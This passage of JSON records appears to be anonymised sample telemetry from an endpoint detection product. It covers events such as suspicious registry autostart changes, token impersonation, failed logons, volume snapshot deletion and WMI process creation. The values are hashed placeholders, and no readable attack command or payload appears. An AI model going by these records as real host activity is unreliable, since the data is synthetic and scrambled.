\r\n","TaskAuthor":"033b4ae8791399a8","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\9e380d\\9eba707b","RpcOpNum":"1","Entitlements":"96","name":"2a8048a7af2ffa0cde48ccc43","TaskExecArguments":"/0630e40","aid":"4b4df0f0e24c600fcc98e7444c1af658","TaskExecCommand":"82\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ScreenshotTakenEtw","RawProcessId":"98380","ContextTimeStamp":"1759662246.104","UserName":"b2a353ab","ConfigStateHash":"710307050","ContextProcessId":"1700783090940","ProcessStartKey":"6502302011800406","aip":"81.2.69.142","ScreenshotType":"1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26","ImageFileName":"\\6ba0bd\\447b992c\\303abfe3\\f5738ad0\\982d2c83.edu\\55c39df.exe","Entitlements":"16","name":"a476a54b92f13dc913cf","EventOrigin":"1","RawThreadId":"9080","id":"3e6d517e7aca78f0cf93da20fe86adf5f9ab","PerformanceCounter":"d6c4254eed13d596","EffectiveTransmissionClass":"3","aid":"24840a73a08a136ac2e3a204a6371f8f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ScriptControlErrorEvent","ContextTimeStamp":"1752017032.509","ConfigStateHash":"3440491101","ContextProcessId":"109050000055","ContextThreadId":"883457700032905","Parameter64_3":"0","aip":"89.160.20.128","Parameter64_2":"8206700950","Parameter64_1":"0","ScriptControlErrorCode":"3","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"345e60fd50e3d887337d0b2b9","EventOrigin":"1","id":"7e63b76986f72b1aa2e6038707b440ac2bd2","EffectiveTransmissionClass":"0","aid":"5646c890ca4b0ac33c1cfa27264240b6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ScriptContent":"8040e831._01000001(\"-2147483646\", \"SYSTEM\\87d633b2\\32d7e82\\185d320a\\921a9d8f","OriginalContentLength":"103","ContextThreadId":"700600800020030","ScriptingLanguageId":"4","aip":"216.160.83.56","ParentImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\04d.exe","GrandparentImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","event_platform":"Win","ScriptContentName":"\\e2\\82\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\6d70c65f.vbs","HostProcessType":"4","EventOrigin":"1","id":"42432e4ab526161b012bf9090bfa8e7f7c50","ParentCommandLine":"82\\ab7e5c1\\4a6a0a4b\\04d.exe /c \"\"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\9abf749f.bat\" \"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\8c5fa1bc.bat\"\"","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"ScriptControlScanTelemetry","ContextTimeStamp":"1760811911.783","ConfigStateHash":"8504003003","ContextProcessId":"2579509200600","ContentSHA256HashData":"d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284","GrandparentCommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\e108a27.exe","Entitlements":"76","name":"da8c933b9d11428ed052d2d5eb4c","aid":"ec58958430d6e12f5dfa327cad790e06","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SensitiveWmiQuery","UserName":"207ef664\\d621c1","ConfigStateHash":"2069001378","ContextProcessId":"2600380079010","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","WmiQuery":"8d8f8ea22b6bfbe801ecaaba1425c6a9d7","ClientComputerName":"9b0f0662","Entitlements":"96","name":"887f1bbf3206d18c959","EventOrigin":"1","id":"272b6e237d25b3c937239259405719619f9c","EffectiveTransmissionClass":"3","aid":"cfe278fcd1e293c7afdf3f1753b2d89e","WmiNamespaceName":"4813\\155e1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"b3f8252aa9cc6427351d20c3f33d3ae79e2e","RpcClientProcessId":"5080050038080","id":"8b25e606b146b0ecb0d734dc9eedcd5ef49f","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ServiceStarted","ContextTimeStamp":"1752557975.986","UserName":"9ce650c90","ConfigStateHash":"240271348","InterfaceVersion":"510063","RpcClientThreadId":"208220707353715","AuthenticationId":"830","ServiceDisplayName":"b0f9460","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460","TargetProcessId":"4007891768902","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\177d568.exe","RpcOpNum":"94","Entitlements":"76","name":"e9599fcf8f9c5676","aid":"8fb3daf730de8e73c353f0c4137a51b5","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"FileOperatorSid":"S-39243-24597-72335","ContextBaseFileName":"511ab7","FileCategory":"1","Size":"8200405","ContextThreadId":"90605908807000","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"1c2cb8d06c607d68fcb2877b0e000a683739","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SevenZipFileWritten","ContextTimeStamp":"1761079709.477","ConfigStateHash":"9080101000","ContextProcessId":"107208055010","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"56","name":"d4fd2d5cb305a8abdd140a","OperationFlags":"0","aid":"61cace3ec102dbde6e5eb08963b52e9c","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c\\7d0c653b.tmp"} -{"event_simpleName":"SmbClientShareClosedEtw","ConfigStateHash":"9968901000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"6cfc77d1a6","Entitlements":"26","name":"0e883005214e1c97be512a900","EventOrigin":"45","id":"56cb5eb3321a430b24ba0bebef0335c0abf6","SmbShareName":"967ec0f7","EffectiveTransmissionClass":"3","aid":"f7e49d5e0a65ac9907089989782717df","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SmbClientShareOpenedEtw","ConfigStateHash":"804061009","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"e747bc","Entitlements":"36","name":"d226521607b20089974fab726","EventOrigin":"45","id":"be306cd8d3b6946b7798e88271cbf77dee2b","SmbShareName":"a4d268","EffectiveTransmissionClass":"3","aid":"e7e98921e91425b34501d7e91f6906b7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"07d8f4d","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"50820000","DomainName":"c53","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"86","name":"e1b2ed2cbfccda3de1aa6adee","EventOrigin":"45","id":"73dd5ae007d4fa5b059b77f3a112dd87b35f","SmbShareName":"d1","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SmbServerV1AuditEtw","ConfigStateHash":"4100830266","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","SmbClientName":"43194ec065b","event_platform":"Win","Entitlements":"76","name":"ba4a423304abd0ff28e43","EventOrigin":"45","id":"295a131e9dc1f5ef17daa6595049d55e40cf","EffectiveTransmissionClass":"3","aid":"c3ecc304b2ebc8216508373e45b2b7c6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"VolumeSessionUUID":"a3959a6c-5919-4ac3-a15a-2a320ad21a4e","ContextThreadId":"270025735200022","aip":"89.160.20.112","event_platform":"Win","VolumeDeviceObjectFlags":"420270500","VolumeFileSystemDevice":"\\e195","VolumeSnapshotName":"\\6ba0bd\\447b992c","VolumeIsEncrypted":"1","VolumeFileSystemDriver":"\\6b634d3d\\e195","VolumeDeviceCharacteristics":"0","id":"42736e4684d2a23274632e48769919984ae5","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SnapshotVolumeMounted","VolumeName":"\\6ba0bd\\c1eb8062","VolumeSnapshotTimeStamp":"1748508106.387","ContextTimeStamp":"1754395342.498","VolumeSectorSize":"940","ContextProcessId":"5209000050507","VolumeRealDeviceName":"\\6ba0bd\\c1eb8062","VolumeLabel":"d598026","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"36","name":"2ab84c7f9e501a2854c7e357","aid":"7bf30749173dbd091654e80c365263d2","cid":"4092825518eaf67377a6e4492ae44577"} -{"Status":"0","event_simpleName":"SuspiciousCreateSymbolicLink","ContextTimeStamp":"1761034473.549","SymbolicLinkName":"\\ae81c232\\6b8a","ConfigStateHash":"8200073020","ContextProcessId":"230000690074863000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe\"","SymbolicLinkTarget":"\\f92fc8\\85d8d803\\f6dcb\\73d\\e8f27fd4","DesiredAccess":"180051","PatternId":"7000","ImageFileName":"\\6ba0bd\\3edfbf1f\\8027a4f5\\1a2e21\\1fb\\51a\\21c4c94.exe","Entitlements":"46","name":"6a8d935023cdc21ff9cca3537d2780","EventOrigin":"1","id":"c5355e5f32b043d778a5628a9817ed603fe9","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1748097171.316","ConfigStateHash":"4080600092","ContextProcessId":"5004051100005","DomainName":"da624cbc09cb196e3c026","ContextThreadId":"306930070760507","aip":"216.160.83.56","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","DualRequest":"1","Entitlements":"76","name":"cecd6d00633889a0e5140e","EventOrigin":"1","id":"8d4c70642deafa7c185dae1766913cc2b684","EffectiveTransmissionClass":"3","aid":"e0391be8776b91e27451ffc78839341a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"} -{"ContextThreadId":"908900717009000","aip":"81.2.69.142","RegObjectName":"\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"1","RegKeyName":"","event_platform":"Win","TargetCommandLineParameters":"8 829462947afcd60b102 5385ab5330ba103afe7","PatternId":"730","RegConfigValueType":"0","RegConfigFlags":"0","EventOrigin":"1","id":"6a3e0c317c79a163daff6f7ff43b0f8b638f","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7","RegConfigClass":"40","timestamp":"1743508799999","event_simpleName":"SuspiciousRegAsepUpdate","ContextTimeStamp":"1750976386.666","ConfigStateHash":"9968901000","ContextProcessId":"6460070801000","RegType":"1","RegConfigIndex":"1","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17","CommandLine":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe","TargetSHA256HashData":"61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462","ImageFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe","Entitlements":"16","name":"d6768a557290bddc8f464a531","aid":"f7e49d5e0a65ac9907089989782717df","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe"} -{"ImpersonatedUserName":"9bf10282","event_simpleName":"TokenImpersonated","OriginalParentAuthenticationId":"891487","ConfigStateHash":"3440491101","ContextProcessId":"2000535704803","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ParentAuthenticationId":"221030","PatternId":"830","OriginalUserName":"3d0d64ac1d9faf","Entitlements":"56","name":"4b8f55f326fbe33b3cf","EventOrigin":"1","id":"d1330c5a8472345299901dcafcb6e741c04f","EffectiveTransmissionClass":"3","aid":"8ac4bf42d697d6476a2087a305f0a8a7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","OriginalUserSid":"S-33232-15769-33973-56426-34173-11558-64704-78944"} -{"SignatureErrorState":"36","ModuleCharacteristics":"7600","ContextThreadId":"0","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","SignatureState":"0","MappedFromUserMode":"1","EventOrigin":"1","id":"fbdd0412d2d062a8e7f05ca768974728fd13","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"UnsignedModuleLoad","ContextTimeStamp":"1757609447.289","ConfigStateHash":"1003503072","ContextProcessId":"9000960041280","SHA256HashData":"d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1","ExtendedKeyUsages":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"4000960041280","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a849da.dll","Entitlements":"26","name":"7218b6fd46f62d142cab","aid":"748b16033ae2f04b415a38442969be05","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"UserAccountAddedToGroup","ContextTimeStamp":"1758546284.942","ConfigStateHash":"710307050","InterfaceVersion":"30255","GroupRid":"53034222","aip":"81.2.69.192","RpcClientThreadId":"274278017040400","ConfigBuild":"2c8b.4.ae3729d.e6","UserRid":"04f8c66f","event_platform":"Win","DomainSid":"S-76712-65017-53475-35458-99339-49376","RpcOpNum":"30","Entitlements":"46","name":"6f757290de34b1b1afde18238","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"4040097800001","id":"4c0cf1755eaa94d6f52251e3d52f5ff6902f","EffectiveTransmissionClass":"3","aid":"822724472847066e07121bc67f0675c0","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"UserAccountCreated","ContextTimeStamp":"1761033186.899","UserName":"dcf80328","ConfigStateHash":"2015000411","InterfaceVersion":"50255","aip":"89.160.20.112","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"90dd1c44","event_platform":"Win","RpcOpNum":"70","Entitlements":"86","name":"92d863b43efb433535db","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","id":"bd490a761a3f397c1a778b589441993b3091","EffectiveTransmissionClass":"3","aid":"ea33b281ab769f0d09855298c2b43f40","RpcNestingLevel":"1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"UserAccountDeleted","ContextTimeStamp":"1746147684.771","UserName":"6621349aab8086fca29","ConfigStateHash":"2080025170","InterfaceVersion":"60255","aip":"89.160.20.128","RpcClientThreadId":"127103017599004","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"77bd1eaf","event_platform":"Win","RpcOpNum":"90","Entitlements":"76","name":"0b8f5280c9729fa19531","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"7301001105000","id":"3229287b6fe92ef5336c913502cf9ef8fdf3","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"UserExceptionDEP","ContextTimeStamp":"1750019709.552","ConfigStateHash":"3440491101","ContextProcessId":"1635100019002","FullExceptionRecord":"5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263","FullContext":"","ContextThreadId":"34508563003090","aip":"216.160.83.56","BoundingLimitCount":"2","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ExceptionAddress":"1700460906","BoundingLimitDuration":"9486640","Entitlements":"66","name":"709aee1e8c3c110bf8","ExceptionInformation0":"8","EventOrigin":"1","id":"5829a31e854865b7f675feb7d878b239adc2","ExceptionCode":"5205000410","EffectiveTransmissionClass":"3","aid":"c98cd5436ddf270308dd9d267fd914a0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"UserFontLoad","ContextTimeStamp":"1753137217.791","ConfigStateHash":"6080600092","ContextProcessId":"8108160208087","ContextThreadId":"680008007040906","aip":"89.160.20.112","BoundingLimitCount":"3","FontBufferLength":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","FontFileCount":"1","BoundingLimitDuration":"9486640","Entitlements":"66","name":"be33367389afc8","FontLoadOperation":"0","EventOrigin":"1","FontBuffer":"0","id":"3b3a10fec73cc70efcba7d10700c60647a00","FontFileName":"\\e2\\82\\6b0cc\\15dad1a2\\0f51ad6\\8c31e\\c7bac469\\a39f4a16\\4\\6ad6049f\\51833\\fce70f15.ttf","EffectiveTransmissionClass":"3","aid":"30fcb474d1c19854928cfea68625715f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"UserIsAdmin":"0","LogonTime":"1745963859.717","UserCanonical":"","ContextThreadId":"95004910750900","aip":"81.2.69.192","LogonDomain":"6e","RemoteAccount":"0","UserSid":"S-63628-61824-76998-75961-49681-10653-90491","event_platform":"Win","UserFlags":"0","EventOrigin":"1","LogonServer":"","id":"ffafe1a8278f88b8c976d452dc465830bd1c","EffectiveTransmissionClass":"2","LogonId":"6270089006","SessionId":"0","timestamp":"1743508799999","event_simpleName":"UserIdentity","UserName":"395963bcc1c482b8ac","ConfigStateHash":"3440491101","ContextProcessId":"6990300009751","ResendToCloud":"0","LogonType":"3","AuthenticationPackage":"43c19a09","UserPrincipal":"","AuthenticationId":"5270089006","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"","Entitlements":"66","name":"6843b5d61bb2e5","UserLogonFlags":"0","aid":"443de0bbc349316f0d394439c57beaba","cid":"4092825518eaf67377a6e4492ae44577"} -{"UserIsAdmin":"1","LogoffTime":"1745913154.660","LogonTime":"1745989529.811","aip":"216.160.83.56","LogonDomain":"742a2b40","RemoteAccount":"0","UserSid":"S-5282-72526-65462-33571-94897-74826-26210","event_platform":"Win","UserFlags":"230","EventOrigin":"1","LogonServer":"742a2b40","id":"d42b0220749ccf3c12046d08207cd42e3e36","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogoff","UserName":"e00908ad","ConfigStateHash":"3440491101","LogonType":"4","AuthenticationPackage":"80af","AuthenticationId":"9134169010","UserPrincipal":"","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1677255764.322","UserLogoffType":"3","Entitlements":"66","name":"035509012de2","UserLogonFlags":"6","aid":"e4b4d652bb68d0b6eaf25c3a357bd566","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"610009300097503","aip":"81.2.69.142","LogonDomain":"6e","event_platform":"Win","ClientComputerName":"98ecc4","EventOrigin":"1","id":"abcd637574e3e621a022d447ce47204dcb70","SubStatus":"2782800370","EffectiveTransmissionClass":"2","timestamp":"1743508799999","Status":"7810500605","event_simpleName":"UserLogonFailed2","RawProcessId":"173","ContextTimeStamp":"1756065940.160","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","EtwRawProcessId":"273","ContextProcessId":"2014546000418","LogonType":"3","EtwRawThreadId":"9360","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3014546000418","Entitlements":"46","name":"ed7b4a3a01737761db","aid":"82e84213f5e5ad2820ee7b0f905b8f43","RemoteAddressIP4":"216.160.83.56","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"UserLogonFailed","ContextTimeStamp":"1746839239.892","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","ContextProcessId":"2014546000418","LogonTime":"","ContextThreadId":"610009300097503","aip":"81.2.69.192","UserSid":"S-25871-2981-333","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PasswordLastSet":"","TreeId":"929834768029","Entitlements":"16","name":"9d199e1f177dd175a","EventOrigin":"1","UserLogonFlags":"1","id":"498499842694e5b09e8a1c4abfe2eb414696","EffectiveTransmissionClass":"2","aid":"82e84213f5e5ad2820ee7b0f905b8f43","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"UserIsAdmin":"1","LogonTime":"1745948887.174","ContextThreadId":"500010382010308","aip":"216.160.83.56","LogonDomain":"6e","RemoteAccount":"1","UserSid":"S-46253-20659-68776-75234-87277-33222-58161","event_platform":"Win","UserFlags":"52","ClientComputerName":"d51a37d47316ea","EventOrigin":"1","LogonServer":"be2c2f","id":"064eb67301d3224008ad7aee62c85ce3b9f2","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogon","ContextTimeStamp":"1759677701.966","UserName":"a7b663ef867","ConfigStateHash":"3440491101","ContextProcessId":"1776052010570","LogonType":"4","PrivilegesBitmask":"900780039900","AuthenticationPackage":"43c19a09","AuthenticationId":"4084727020","UserPrincipal":"testuser@test.com","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1559926561.421","Entitlements":"56","name":"184e1f7f8f1","UserLogonFlags":"0","EnabledPrivilegesBitmask":"2034200020","aid":"43efa5759b9c618d8565a64ba39b729c","UserGroupsBitmask":"8043300404","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"100445831083903","aip":"89.160.20.112","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"fa20370b2cc4c0e88d161f705a2bba7fbe37","RpcClientProcessId":"4000150007426","id":"f6b9775ac6046bae94a4121496a6896a86f6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotCreated","ContextTimeStamp":"1749838695.450","UserName":"481403faf1d","ConfigStateHash":"892001000","ContextProcessId":"3093093002701","InterfaceVersion":"0","RpcClientThreadId":"680008401000314","AuthenticationId":"830","ConfigBuild":"2c8b.4.bab7095.e6","RpcOpNum":"8","Entitlements":"16","name":"20c2ece111ed142fd2567b9","aid":"3dc8ee79410457af4c28499efe37b5bc","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a"} -{"ContextThreadId":"449040000360080","aip":"81.2.69.142","VolumeDriveLetter":"82","event_platform":"Win","TokenType":"1","VolumeSnapshotName":"\\6ba0bd\\8536f344","EventOrigin":"1","InterfaceGuid":"48e8e6085fac8e183337f9647e2623b38023","RpcClientProcessId":"5000504040107","id":"00d920a4c248b10173113fc4155a74b4b655","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotDeleted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1760029340.183","UserName":"580d88d","ConfigStateHash":"7800020060","ContextProcessId":"8000830008430","InterfaceVersion":"0","RpcClientThreadId":"914521090820021","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","RpcOpNum":"40","Entitlements":"26","name":"1523f0687a552764e446cf1","aid":"10ee42b0c65b014b6197f3d92782c4ad","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"WmiCreateProcess","ContextTimeStamp":"1760910207.570","UserName":"f3c32fdf5aef1041","ConfigStateHash":"450007109","aip":"81.2.69.192","RpcClientThreadId":"5500404207604","BoundingLimitCount":"1","AuthenticationId":"400605500","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","CommandLine":"43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt\" 2>&1\"","TokenType":"2","TargetProcessId":"341000415765","BoundingLimitDuration":"1486640","ImageFileName":"\\6ba0bd\\6cf19058\\d598026\\dc9ec376\\04d.exe","Entitlements":"86","name":"4d986d3e22110751d0","EventOrigin":"1","RpcClientProcessId":"901070429000","id":"4fd1a6718f8c7a25e6af1b5af89b5565a443","EffectiveTransmissionClass":"3","aid":"8bba3f79ae72c48db0721bce1cc23f47","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"aip":"81.2.69.144","WmiProviderType":"425f2336","event_platform":"Win","PatternId":"260","ClientComputerName":"f2752e89","EventOrigin":"1","id":"08b4a44cd2f229eadaa6f64169deb30db7f7","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"WmiProviderRegistrationEtw","ContextTimeStamp":"1746785661.429","UserName":"207ef664\\d621c1","ConfigStateHash":"750096004","WmiProviderName":"\\c\\4813\\155e1\\63acf3b8.Name=\\6c12b79e.0\\8","EtwRawProcessId":"4080","ContextProcessId":"9977300700005","ConfigBuild":"2c8b.4.bab7095.e6","CommandLine":"82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","Entitlements":"76","name":"256ae77a9371219d15d0ae429aae","ProcessStartTime":"1745961781.179","PerformanceCounter":"c0350cfa279c5991","aid":"fe88182661659af8a192fac5db624574","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"WroteExeAndGeneratedServiceEvent","ConfigStateHash":"710307050","ContextProcessId":"48146963060067","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"16","name":"993018c29291eaa31ad975c11fbbae3390","EventOrigin":"1","id":"b2cdcff3f1ec7958dd0f0d3b83d51360bfa4","EffectiveTransmissionClass":"3","aid":"945a25b2d8f219a0693641fa5daeb3c4","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"FileOperatorSid":"S-43058-61586-47269","ContextBaseFileName":"7b31c1d240b3d","FileCategory":"1","Size":"7000060","ContextThreadId":"200084098009700","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\23579bbe","id":"2b0434b299dc23d3e66d5af40855f712e176","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ZipFileWritten","ContextTimeStamp":"1760526628.961","ConfigStateHash":"9080101000","ContextProcessId":"356301901002","IrpFlags":"0","AuthenticationId":"329","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"76","name":"736782612c55c54fc","OperationFlags":"0","aid":"3e64efce7e8a490b018d335f25b68760","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686\\4e7075fa.tmp"} 